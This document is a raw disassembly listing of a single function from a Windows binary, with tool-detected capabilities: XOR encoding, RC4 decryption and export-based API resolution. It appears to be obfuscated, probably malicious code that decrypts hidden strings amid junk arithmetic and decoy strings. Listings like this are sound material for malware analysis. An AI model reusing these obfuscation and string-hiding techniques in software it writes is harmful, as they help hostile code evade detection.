Function at 0x10018017
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
mov eax, dword [0x1002576c]
push ebx
xor ebx, ebx
mov dword [esp + 0xd4], ecx
push esi
add eax, 0xe043e439
mov dword [esp + 0x24], 0x5b
push edi
mov ecx, ebx
mov dword [esp + 0x2c], 0x49
mov dword [esp + 0x30], 0xffffff5c
mov edx, ebx
mov dword [esp + 0x3c], eax
sub ecx, dword [esp + edx*4 + 0x28]
inc edx
cmp edx, 3
jl 0x10018059
push 0x1f
pop edx
mov dword [esp + 0xe0], ecx
mov eax, ebx
mov ecx, ebx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], 0x59
mov dword [esp + 0x30], 0xffffff88
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018085
push 0x51
mov dword [esp + 0x104], ecx
mov eax, ebx
pop ecx
mov dword [esp + 0x8c], 0x57
mov dword [esp + 0x90], 0xffffff58
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x100180b1
push 0xf
mov dword [esp + 0x164], ecx
pop ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], 0x61
mov dword [esp + 0x30], 0xffffff8e
mov eax, ebx
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x100180de
push 0x22
pop eax
mov byte [esp + 0x67], al
lea edi, [esp + 0x384]
push 0xb
pop eax
mov dword [esp + 0x170], ecx
mov esi, str.Dont_know_how_to_convert_from_Windows_class
mov ecx, eax
mov dword [esp + 0x60], 0x29863615
rep movsd dword es:[edi], dword [esi]
mov word [esp + 0x64], 0x7e05
mov eax, ebx
mov byte [esp + 0x66], 0xc0
mov dword [esp + 0x68], 0x3bd3212b
movsw word es:[edi], word [esi]
mov dword [esp + 0x6c], 0xf9c16ce8
mov edi, ebx
mov dword [esp + 0x70], 0x382ce2c7
mov dword [esp + 0x74], 0xed53602e
mov dword [esp + 0x78], 0xcc6d39de
mov dword [esp + 0x7c], 0x3cc50dba
mov byte [esp + 0x80], 0x29
mov byte [esp + eax + 0x210], al
inc eax
cmp eax, 0x100
jb 0x1001815b
push 0x2d
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [esp + esi + 0x210]
mov eax, esi
div ecx
movzx ecx, bl
push 0x2d
movzx eax, byte [esp + edx + 0x388]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [esp + edi + 0x210]
mov byte [esp + esi + 0x210], al
inc esi
mov byte [esp + edi + 0x210], bl
cmp esi, 0x100
jb 0x1001816f
mov ecx, dword [esp + 0x3c]
mov edx, str.xn__klty5x
or ecx, 0xead3dc0f
mov al, 0x78
sub al, 0x30
cmp al, 9
ja 0x100181d3
inc edx
mov al, byte [edx]
test al, al
jne 0x100181c0
mov eax, dword [esp + 0x3c]
jmp 0x100181d9
lea eax, [ecx - 0x4d3343c]
lea edi, [eax + 0x17f49994]
mov eax, str.file_error
push ecx
mov edx, eax
mov dword [esp + 0x50], edi
mov dword [esp + 0x118], eax
call fcn.10017e96
xor ebx, ebx
xor edi, 0x449a6c5
mov dword [esp + 0x48], edi
mov esi, ebx
pop ecx
mov dword [esp + 0x38], ebx
mov edi, ebx
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x38]
mov cl, byte [esp + edi + 0x210]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x38], eax
mov al, byte [esp + eax + 0x210]
mov byte [esp + edi + 0x210], al
mov eax, dword [esp + 0x38]
mov byte [esp + eax + 0x210], cl
movzx eax, byte [esp + edi + 0x210]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + esi + 0x60]
mov byte [esp + esi + 0x3b4], al
inc esi
cmp esi, 0x21
jb 0x1001820c
push 0x18
pop edx
mov dword [esp + 0x14], 0xe
xorps xmm2, xmm2
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], 0x3c
mov dword [esp + 0x20], 0xffffff88
movups xmm1, xmmword [esp + 0x14]
mov esi, dword [esp + 0x44]
mov dword [esp + 0x14], 0x58
movaps xmm0, xmm1
mov dword [esp + 0x18], 0x63
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x1c], 0xf
movups xmm0, xmm1
mov dword [esp + 0x20], 0xffffff4c
psrldq xmm0, 4
paddd xmm1, xmm0
mov byte [esp + 0x3d5], bl
movups xmm0, xmmword [esp + 0x14]
push 0x16
movd eax, xmm1
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
pop ecx
add eax, ecx
psrldq xmm0, 4
mov dword [esp + 0x16c], eax
paddd xmm1, xmm0
movd eax, xmm1
mov ecx, str.WINDOWS_1252
add eax, edx
mov dword [esp + 0x168], eax
mov al, byte [str.WINDOWS_1252]
mov byte [esp + 0x13], al
jmp 0x1001832b
sub al, 0x30
cmp al, 9
ja 0x10018331
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10018322
jmp 0x1001833d
mov edi, esi
and edi, 0x5ca7873f
mov dword [esp + 0x4c], edi
push 0x50
pop edi
push 0x22
pop eax
mov dword [esp + 0x28], 0x35
mov ecx, ebx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0xffffff59
mov edx, str.xn__klty5x
mov al, 0x78
sub al, 0x30
cmp al, 9
ja 0x1001836f
inc edx
mov al, byte [edx]
test al, al
jne 0x10018360
jmp 0x10018375
and esi, 0xcc77d22e
add edi, dword [esp + ecx*4 + 0x28]
sub esi, 0x5b7743d3
inc ecx
cmp ecx, 3
jl 0x10018359
mov dword [esp + 0x164], edi
call fcn.10017dd2
or esi, 0x2741e1fe
mov dword [esp + 0x28], 0x36
push 0xa
xor ebx, ebx
mov dword [esp + 0x48], esi
pop ecx
mov dword [esp + 0x2c], 0x1f
mov eax, ebx
mov dword [esp + 0x30], 0xffffffb4
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x100183ba
mov esi, str.busy_timeout
mov dword [esp + 0x178], ecx
lea edi, [esp + 0xcc]
mov dword [esp + 0x60], 0xae77360
mov dword [esp + 0x64], 0xd52f5ce0
mov eax, ebx
mov dword [esp + 0x68], 0xd38232f5
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x6c], 0x141b9f73
mov dword [esp + 0x70], 0x1ba52778
mov dword [esp + 0x74], 0x814cf879
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x78], 0xc79285a1
mov dword [esp + 0x7c], 0x20828534
mov byte [esp + 0x80], 0x52
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x40], ebx
movsb byte es:[edi], byte [esi]
mov byte [esp + eax + 0x210], al
inc eax
cmp eax, 0x100
jb 0x10018429
mov al, byte [str.file_error]
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x4c]
mov byte [esp + 0x56], al
mov eax, ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], 0xc
mov cl, byte [esp + eax + 0x210]
xor edx, edx
div dword [esp + 0x3c]
mov byte [esp + 0x57], cl
movzx ecx, cl
movzx eax, byte [esp + edx + 0xcc]
add eax, dword [esp + 0x40]
mov dl, byte [esp + 0x56]
add ecx, eax
movzx eax, cl
mov dword [esp + 0x40], eax
mov eax, ebx
test dl, dl
je 0x100184a1
inc eax
cmp eax, 0x5f
je 0x1001849b
cmp byte [eax + str.file_error], 0
jne 0x1001848a
jmp 0x100184a1
add esi, 0x678cf21c
mov eax, dword [esp + 0x40]
mov ecx, edi
mov ebx, dword [esp + 0x38]
and ecx, 0x8c80b61a
imul edi, edi, 0xc58decfc
mov dword [esp + 0x58], str.xn__klty5x
mov al, byte [esp + eax + 0x210]
mov byte [esp + ebx + 0x210], al
mov al, 0x78
xor ebx, ebx
sub al, 0x30
cmp al, 9
ja 0x100184e8
mov eax, dword [esp + 0x58]
inc eax
mov dword [esp + 0x58], eax
mov al, byte [eax]
test al, al
jne 0x100184d1
jmp 0x100184ee
lea esi, [edi - 0x1804d5a6]
mov eax, ebx
and esi, 0x7d6a7360
cmp byte [esp + 0x13], al
je 0x10018514
inc eax
cmp eax, 0xb42
je 0x1001850e
cmp byte [eax + str.WINDOWS_1252], bl
jne 0x100184fc
jmp 0x10018514
and edi, 0x848613f
imul esi, esi, 0x33b582c8
mov eax, dword [esp + 0x40]
sub ecx, 0x57d405f3
mov dh, byte [esp + 0x57]
mov byte [esp + eax + 0x210], dh
mov eax, dword [esp + 0x38]
inc eax
mov dword [esp + 0x38], eax
cmp eax, 0x100
jb 0x10018457
mov dword [esp + 0x38], ebx
mov eax, ebx
mov dword [esp + 0x58], ebx
inc eax
mov dword [esp + 0x3c], str.file_error
movzx eax, al
mov dword [esp + 0x4c], eax
push 0
mov al, byte [esp + eax + 0x214]
movzx ebx, al
mov byte [esp + 0x5b], al
mov eax, dword [esp + 0x3c]
add eax, ebx
mov dword [esp + 0x4c], ebx
mov ebx, dword [esp + 0x50]
movzx eax, al
mov dword [esp + 0x3c], eax
mov al, byte [esp + eax + 0x214]
mov byte [esp + ebx + 0x214], al
pop ebx
test dl, dl
je 0x100185b4
mov al, dl
sub al, 0x30
cmp al, 9
ja 0x100185ae
mov eax, dword [esp + 0x3c]
inc eax
mov dword [esp + 0x3c], eax
mov al, byte [eax]
test al, al
jne 0x10018597
jmp 0x100185b4
lea edi, [ecx - 0x3f153818]
or esi, 0x4327b53a
mov eax, ebx
mov ecx, esi
or ecx, 0x7120beaa
cmp byte [esp + 0x13], 0
je 0x100185fe
inc eax
cmp eax, 0x4c4
je 0x100185f8
cmp byte [eax + str.WINDOWS_1252], 0
jne 0x100185cb
cmp eax, 0xc4e
jle 0x100185fe
mov ecx, str.WINDOWS_1252
call fcn.100173f3
mov al, byte [str.WINDOWS_1252]
mov byte [esp + 0x13], al
jmp 0x100185fe
lea edi, [ecx - 0x58fcc0ca]
imul esi, esi, 0x51524574
call fcn.10017374
mov eax, dword [esp + 0x38]
mov cl, byte [esp + 0x57]
mov edx, dword [esp + 0x58]
mov byte [esp + eax + 0x210], cl
lea ecx, [esi + 0x23e55c63]
mov eax, dword [esp + 0x4c]
and ecx, 0xf99cb068
movzx eax, byte [esp + eax + 0x210]
add eax, dword [esp + 0x48]
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + edx + 0x60]
mov byte [esp + edx + 0x384], al
inc edx
mov eax, dword [esp + 0x4c]
cmp edx, 0x21
mov dword [esp + 0x58], edx
mov dl, byte [esp + 0x56]
jb 0x1001854d
mov dword [esp + 0x44], esi
mov ecx, str.file_error
mov byte [esp + 0x3a5], bl
mov al, dl
jmp 0x10018680
sub al, 0x30
cmp al, 9
ja 0x10018686
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10018677
jmp 0x10018690
lea esi, [edi - 0x3938740a]
mov dword [esp + 0x44], esi
call fcn.10017c5b
lea eax, [edi + 0x44510bf9]
mov dword [esp + 0x28], 0x5f
push 0xe
imul ecx, eax, 0x6bca8aa4
mov eax, ebx
pop edx
mov dword [esp + 0x2c], 0x25
mov dword [esp + 0x30], 0xffffff88
sub edx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x100186be
movzx esi, byte [str.file_error]
mov eax, ebx
mov dword [esp + 0x174], edx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x28], 6
mov dword [esp + 0x2c], 0x5f
mov dword [esp + 0x30], 0xffffff9b
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], 0xd09
mov edx, str.file_error
mov ebx, esi
test esi, esi
je 0x10018739
add dword [esp + 0x38], ebx
inc edx
cmp dword [esp + 0x38], 0xcdf
ja 0x10018723
movzx ebx, byte [edx]
test ebx, ebx
jne 0x1001870b
jmp 0x10018739
push edi
mov edx, str.basecamphq.com
call fcn.10017e3e
mov eax, dword [esp + 0x40]
pop ecx
lea ecx, [edi - 0x18dc625c]
imul edi, ecx, 0xf716ec0e
mov edx, dword [esp + 0x58]
add ecx, 0x1dd08dce
sub edx, dword [esp + eax*4 + 0x28]
inc eax
mov dword [esp + 0x58], edx
mov dword [esp + 0x3c], eax
cmp eax, 3
jl 0x100186f8
push 0x11
pop edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], 0x10
mov dword [esp + 0x1c], 0x2b
mov dword [esp + 0x20], 0xbc
mov eax, dword [esp + 0x44]
add eax, 0x4ba16ac4
mov dword [esp + 0x48], eax
movups xmm0, xmmword [esp + 0x14]
mov dword [esp + 0x14], 1
and edi, 0x82480801
movaps xmm1, xmm2
mov dword [esp + 0x4c], edi
psubd xmm1, xmm0
mov dword [esp + 0x18], 0x4d
movaps xmm0, xmm1
mov dword [esp + 0x1c], 0x45
psrldq xmm0, 8
lea edi, [esp + 0x14]
paddd xmm1, xmm0
mov dword [esp + 0x20], 0xffffff5d
movups xmm0, xmm1
mov word [esp + 0x98], 0xfe7
psrldq xmm0, 4
mov esi, str.connection_aborted
paddd xmm1, xmm0
mov byte [esp + 0x9a], 0xa5
movd ecx, xmm1
xor ebx, ebx
movups xmm1, xmmword [esp + 0x14]
movsd dword es:[edi], dword [esi]
or eax, 0xdbb788a7
add ecx, 0x134
mov dword [esp + 0x40], eax
paddd xmm1, xmm2
mov dword [esp + 0x17c], ecx
movaps xmm0, xmm1
mov dword [esp + 0x9c], 0xe724fb59
movsd dword es:[edi], dword [esi]
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0xa0], 0xb7560709
movups xmm0, xmm1
mov dword [esp + 0xa4], 0x35914bbd
movsd dword es:[edi], dword [esi]
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0xa8], 0x89097a51
movd ecx, xmm1
movsd dword es:[edi], dword [esi]
push 0x2e
add ecx, edx
mov dword [esp + 0xb0], 0x2f4f8c26
mov dword [esp + 0x134], ecx
movsw word es:[edi], word [esi]
pop ecx
mov byte [esp + 0x9b], cl
mov byte [esp + 0xb0], 0x38
movsb byte es:[edi], byte [esi]
mov esi, ebx
cmp byte [esp + 0x13], bl
je 0x100188a7
inc esi
cmp esi, 0x1927
jg 0x10018931
cmp byte [esi + str.WINDOWS_1252], bl
jne 0x10018892
mov edi, dword [esp + 0x40]
add edi, 0xbf657093
xor edi, 0x9cd2a7f3
mov eax, ebx
mov dword [esp + 0x40], edi
mov byte [esp + eax + 0x210], al
inc eax
cmp eax, 0x100
jb 0x100188bd
push 0x12
mov esi, ebx
mov edi, ebx
pop ecx
xor edx, edx
mov bl, byte [esp + esi + 0x210]
mov eax, esi
div ecx
movzx ecx, bl
push 0x12
movzx eax, byte [esp + edx + 0x18]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [esp + edi + 0x210]
mov byte [esp + esi + 0x210], al
inc esi
mov byte [esp + edi + 0x210], bl
cmp esi, 0x100
jb 0x100188d3
movzx ecx, byte [esp + 0x13]
xor ebx, ebx
mov esi, dword [esp + 0x4c]
mov edi, dword [esp + 0x40]
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ecx
jmp 0x10018960
push eax
mov edx, str.GetWindowsTmpDirs___:_returning_false_cuz_GetMyTempDir___failed
call fcn.10017e3e
imul edi, dword [esp + 0x4c], 0xed840f7e
pop ecx
cmp esi, 0x26d6
jle 0x100188ab
and edi, 0x7bc5d0a6
jmp 0x100188b1
mov ecx, dword [esp + 0x38]
cmp dword [esp + 0x38], 0
mov edx, 0x1b44
mov eax, str.WINDOWS_1252
je 0x1001898a
add edx, ecx
inc eax
cmp edx, 0x17a9
ja 0x10018985
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10018971
jmp 0x1001898a
call fcn.10017823
add esi, 0x7de080e8
mov eax, edi
mov ecx, str._uninstall_only_
and eax, 0x498b19c7
mov dword [esp + 0x3c], eax
call fcn.10016f49
push 0x78
mov edx, 0x1554
mov eax, str.xn__klty5x
pop ecx
add edx, ecx
inc eax
cmp edx, 0x1ab5
ja 0x100189ca
movsx ecx, byte [eax]
test ecx, ecx
jne 0x100189b2
mov eax, dword [esp + 0x3c]
jmp 0x100189e1
push esi
mov edx, str.file_error
mov ecx, edi
call fcn.10017e96
mov eax, dword [esp + 0x40]
pop ecx
add eax, 0x7d0cd8ca
imul esi, eax, 0xe8316535
push esi
mov edx, str.7Y88_9_9F9P9Y9c9u9
call fcn.10017e3e
mov eax, dword [esp + 0x48]
mov edi, esi
inc eax
movzx eax, al
pop ecx
mov dword [esp + 0x44], eax
mov cl, byte [esp + eax + 0x210]
mov eax, dword [esp + 0x5c]
movzx edx, cl
add eax, edx
and edi, 0xef5cd4f3
movzx eax, al
mov dword [esp + 0x5c], eax
mov al, byte [esp + eax + 0x210]
and edi, 0xa75d8ed3
mov ebx, dword [esp + 0x44]
add edi, 0x153e090a
xor edi, 0x13b1087b
mov byte [esp + ebx + 0x210], al
mov eax, dword [esp + 0x5c]
mov byte [esp + eax + 0x210], cl
mov eax, ebx
mov ebx, dword [esp + 0x50]
movzx eax, byte [esp + eax + 0x210]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + ebx + 0x98]
mov byte [esp + ebx + 0x368], al
inc ebx
mov dword [esp + 0x50], ebx
cmp ebx, 0x19
jb 0x1001895c
xor ebx, ebx
mov dword [esp + 0x4c], 0x34
mov eax, esi
mov byte [esp + 0x381], bl
and eax, 0x6a4d8b61
mov dword [esp + 0x14], 0x25
mov dword [esp + 0x18], 0x46
mov dword [esp + 0x1c], 0x54
mov dword [esp + 0x20], 0xffffff0d
mov dword [esp + 0x88], ebx
push 0x78
mov dword [esp + 0x40], 0x1f97
mov edx, str.xn__klty5x
pop ecx
inc edx
mov dword [esp + 0x48], edx
mov edx, dword [esp + 0x3c]
add edx, ecx
mov dword [esp + 0x3c], edx
cmp edx, 0x48d
ja 0x10018b29
mov ecx, ebx
inc ecx
cmp ecx, 0xfcb
jg 0x10018afe
cmp byte [ecx + str.xn__klty5x], bl
jne 0x10018aeb
jmp 0x10018b04
add edi, 0x2be4e507
sub eax, 0x1ca17b41
mov dword [esp + 0x50], eax
or esi, 0x672805de
call fcn.1001703c
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x50]
movsx ecx, byte [edx]
test ecx, ecx
jne 0x10018ad2
jmp 0x10018b34
call fcn.1001762d
imul eax, edi, 0xffaa8063
mov ecx, ebx
cmp byte [esp + 0x13], cl
je 0x10018b59
inc ecx
cmp ecx, 0x255f
jg 0x10018c3e
cmp byte [ecx + str.WINDOWS_1252], bl
jne 0x10018b3c
cmp ecx, 0x1ad4
jg 0x10018b5f
imul esi, eax, 0x79c2d978
sub edi, 0x7716da77
add esi, 0x49fe0792
or esi, 0x72e6a09f
call fcn.10017efb
mov ecx, dword [esp + 0x88]
mov eax, esi
mov edx, dword [esp + 0x4c]
or eax, 0x383c3cf4
add edx, dword [esp + ecx*4 + 0x14]
inc ecx
mov dword [esp + 0x4c], edx
mov dword [esp + 0x88], ecx
cmp ecx, 4
jl 0x10018ac2
push 0xc
mov dword [esp + 0x2c], 0xa
mov eax, ebx
mov dword [esp + 0x30], 0x24
mov dword [esp + 0x34], 0xffc5
pop ecx
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018bbe
push 0x3f
pop edi
mov dword [esp + 0x14], edi
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x49
mov edx, 0x1611
mov dword [esp + 0x1c], 0x19
mov dword [esp + 0x20], 0xffffff11
movups xmm0, xmmword [esp + 0x14]
push 0x78
mov dword [esp + 0x40], ecx
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop ecx
add eax, 0x4e
mov dword [esp + 0x120], eax
mov eax, str.xn__klty5x
add edx, ecx
inc eax
cmp edx, 0xbf5
ja 0x10018c49
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10018c2a
jmp 0x10018c4e
add esi, 0x42ec4228
jmp 0x10018b5f
call fcn.100172a2
and esi, 0x4f9b62e4
push 5
pop ecx
mov dword [esp + 0x8c], 0x63
mov eax, ebx
mov dword [esp + 0x90], 0xffffff98
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x10018c6f
mov dword [esp + 0x14], 0x61
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x37
mov dword [esp + 0x1c], 0xe
mov dword [esp + 0x20], 0xbff5a
movups xmm0, xmmword [esp + 0x14]
push 4
mov dword [esp + 0x128], ecx
psubd xmm1, xmm0
mov dword [esp + 0x30], 0x2b
movaps xmm0, xmm1
mov dword [esp + 0x34], 0xffffffc7
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop ecx
push 0xa
add eax, 0xd0000
pop edx
mov dword [esp + 0x12c], eax
mov eax, ebx
mov dword [esp + 0x28], edx
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018cf3
push 0xb
pop eax
mov dword [esp + 0x128], ecx
mov ecx, eax
mov dword [esp + 0x14], 0x5f
mov eax, ebx
mov dword [esp + 0x18], 0x57
mov dword [esp + 0x1c], 0x24
mov dword [esp + 0x20], 0x1d
mov dword [esp + 0x24], 0xffffff13
sub ecx, dword [esp + eax*4 + 0x14]
inc eax
cmp eax, 5
jl 0x10018d33
mov dword [esp + 0x19c], ecx
mov eax, ebx
mov ecx, ebx
mov dword [esp + 0x28], 0x28
mov dword [esp + 0x2c], 0x29
mov dword [esp + 0x30], 0xffffffaf
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018d60
mov dword [esp + 0x1a0], ecx
mov dword [esp + 0x14], 6
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], 0x32
mov dword [esp + 0x20], 0x1bffbe
imul esi, esi, 0xb5d2b754
call fcn.100178e5
movups xmm0, xmmword [esp + 0x14]
movaps xmm1, xmm2
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x1e0000
mov dword [esp + 0x11c], eax
mov eax, ebx
inc eax
cmp eax, 0x371
je 0x10018de0
cmp byte [eax + str.xn__klty5x], bl
jne 0x10018dce
jmp 0x10018dea
mov ecx, str.file_error
call fcn.10017a1a
mov dword [esp + 0x14], 0x26
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x50
and esi, 0x8100802b
mov dword [esp + 0x1c], 0x62
mov dword [esp + 0x20], 0xffffff08
movups xmm0, xmmword [esp + 0x14]
push 0x4d
mov dword [esp + 0x2c], 0x38
paddd xmm1, xmm0
mov dword [esp + 0x30], 0x1e
movaps xmm0, xmm1
mov dword [esp + 0x34], 0xffffff5d
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x20
mov dword [esp + 0x11c], eax
pop eax
mov ecx, eax
mov eax, ebx
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018e61
movzx eax, byte [str.file_error]
mov edx, 0x153e
mov dword [esp + 0x18c], ecx
mov ecx, str.file_error
jmp 0x10018e93
add edx, eax
inc ecx
cmp edx, 0x824
ja 0x10018e99
movzx eax, byte [ecx]
test eax, eax
jne 0x10018e85
jmp 0x10018e9e
call fcn.1001715b
mov ecx, ebx
mov dword [esp + 0x14], 0x18
and esi, 0x1559c2d5
mov dword [esp + 0x18], 0x3c
mov dword [esp + 0x1c], 0x60
mov eax, ebx
mov dword [esp + 0x20], 0x1f
mov dword [esp + 0x24], 0xffffff2d
sub ecx, dword [esp + eax*4 + 0x14]
inc eax
cmp eax, 5
jl 0x10018ed0
push 0x10
mov dword [esp + 0x194], ecx
pop ecx
push 0x11
pop eax
mov dword [esp + 0x28], eax
mov eax, ebx
mov dword [esp + 0x2c], 0x49
mov dword [esp + 0x30], 0x3ff96
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018efd
push 0x16
pop eax
mov dword [esp + 0x198], ecx
mov ecx, ebx
mov dword [esp + 0x28], eax
mov eax, ebx
mov dword [esp + 0x2c], 0x51
mov dword [esp + 0x30], 0xffffff99
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10018f29
mov dword [esp + 0x194], ecx
mov eax, ebx
mov ecx, ebx
mov dword [esp + 0x14], 0x2f
mov dword [esp + 0x18], 0x64
mov dword [esp + 0x1c], 7
mov dword [esp + 0x20], 0x31
mov dword [esp + 0x24], 0xffffff35
sub ecx, dword [esp + eax*4 + 0x14]
inc eax
cmp eax, 5
jl 0x10018f66
mov dword [esp + 0x188], ecx
xor esi, 0xe6b248e2
call fcn.100178e5
mov ecx, ebx
mov dword [esp + 0x14], 0x64
mov dword [esp + 0x18], 0x54
mov eax, ebx
mov dword [esp + 0x1c], 0x30
mov dword [esp + 0x20], 0x59
mov dword [esp + 0x24], 0xfffffebf
sub ecx, dword [esp + eax*4 + 0x14]
inc eax
cmp eax, 5
jl 0x10018fae
mov dword [esp + 0x180], ecx
call fcn.1001715b
mov dword [esp + 0x14], 0x29
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x57
and esi, 0x3bdb5d57
mov dword [esp + 0x1c], 0x47
mov dword [esp + 0x20], 0xffffff45
movups xmm0, xmmword [esp + 0x14]
mov dword [esp + 0x14], 0x5d
mov dword [esp + 0x18], 0x34
psubd xmm1, xmm0
mov dword [esp + 0x1c], 0x23
movaps xmm0, xmm1
mov dword [esp + 0x20], 0xffffff4c
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0xd
mov dword [esp + 0x134], eax
imul eax, esi, 0x9d9ae2fe
movups xmm0, xmmword [esp + 0x14]
mov dword [esp + 0x14], 6
mov esi, str.Unknown_compression_method_in_IHDR
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x20
psubd xmm1, xmm0
mov dword [esp + 0x1c], 0x63
movaps xmm0, xmm1
mov dword [esp + 0x20], 0xffffff39
psrldq xmm0, 8
add eax, 0x613c8c30
paddd xmm1, xmm0
mov dword [esp + 0xcc], 0xe969f8be
movups xmm0, xmm1
mov dword [esp + 0xd0], 0x1980247e
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0xd4], 0x7aae9c22
movd dword [esp + 0x138], xmm1
movups xmm1, xmmword [esp + 0x14]
push 8
mov word [esp + 0xdc], 0x2515
paddd xmm1, xmm2
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, edi
lea edi, [esp + 0x64]
mov dword [esp + 0x160], ecx
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
imul eax, eax, 0xaa793660
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [esp + ecx + 0x210], cl
inc ecx
cmp ecx, 0x100
jb 0x10019108
xor eax, 0x2659cbc4
mov esi, ebx
mov dword [esp + 0x88], eax
xor eax, 0x2b9b2744
mov dword [esp + 0x40], eax
xor edx, edx
mov bl, byte [esp + esi + 0x210]
push 0x22
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0x60]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x210]
mov byte [esp + esi + 0x210], al
inc esi
mov byte [esp + edi + 0x210], bl
cmp esi, 0x100
jb 0x1001912f
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x210]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [esp + ebx + 0x210]
mov byte [esp + edi + 0x210], al
mov byte [esp + ebx + 0x210], cl
movzx eax, byte [esp + edi + 0x210]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + esi + 0xcc]
mov byte [esp + esi + 0x310], al
inc esi
cmp esi, 0xe
jb 0x10019172
push 0xb
pop eax
push 5
pop ecx
mov esi, str.1_181_1L1P1T1X11_1h1
mov byte [esp + 0x67], al
lea edi, [esp + 0x1c4]
mov dword [esp + 0x60], 0xf5c46876
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov word [esp + 0x64], 0x5c60
push 0x78
mov byte [esp + 0x322], bl
mov edx, 0xefa
movsw word es:[edi], word [esi]
mov eax, str.xn__klty5x
mov byte [esp + 0x6a], 0x75
mov dword [esp + 0x6c], 0xa7c91438
mov dword [esp + 0x70], 0xab3b6970
mov dword [esp + 0x74], 0xf70a5496
mov dword [esp + 0x78], 0xcfe58afb
mov dword [esp + 0x7c], 0x4375d813
mov dword [esp + 0x80], 0x513e5c8d
mov dword [esp + 0x84], 0xcece0a75
mov dword [esp + 0x88], 0x57b92c38
movsb byte es:[edi], byte [esi]
pop ecx
add edx, ecx
inc eax
cmp edx, 0xe9e
ja 0x10019272
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10019253
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x40]
jmp 0x10019281
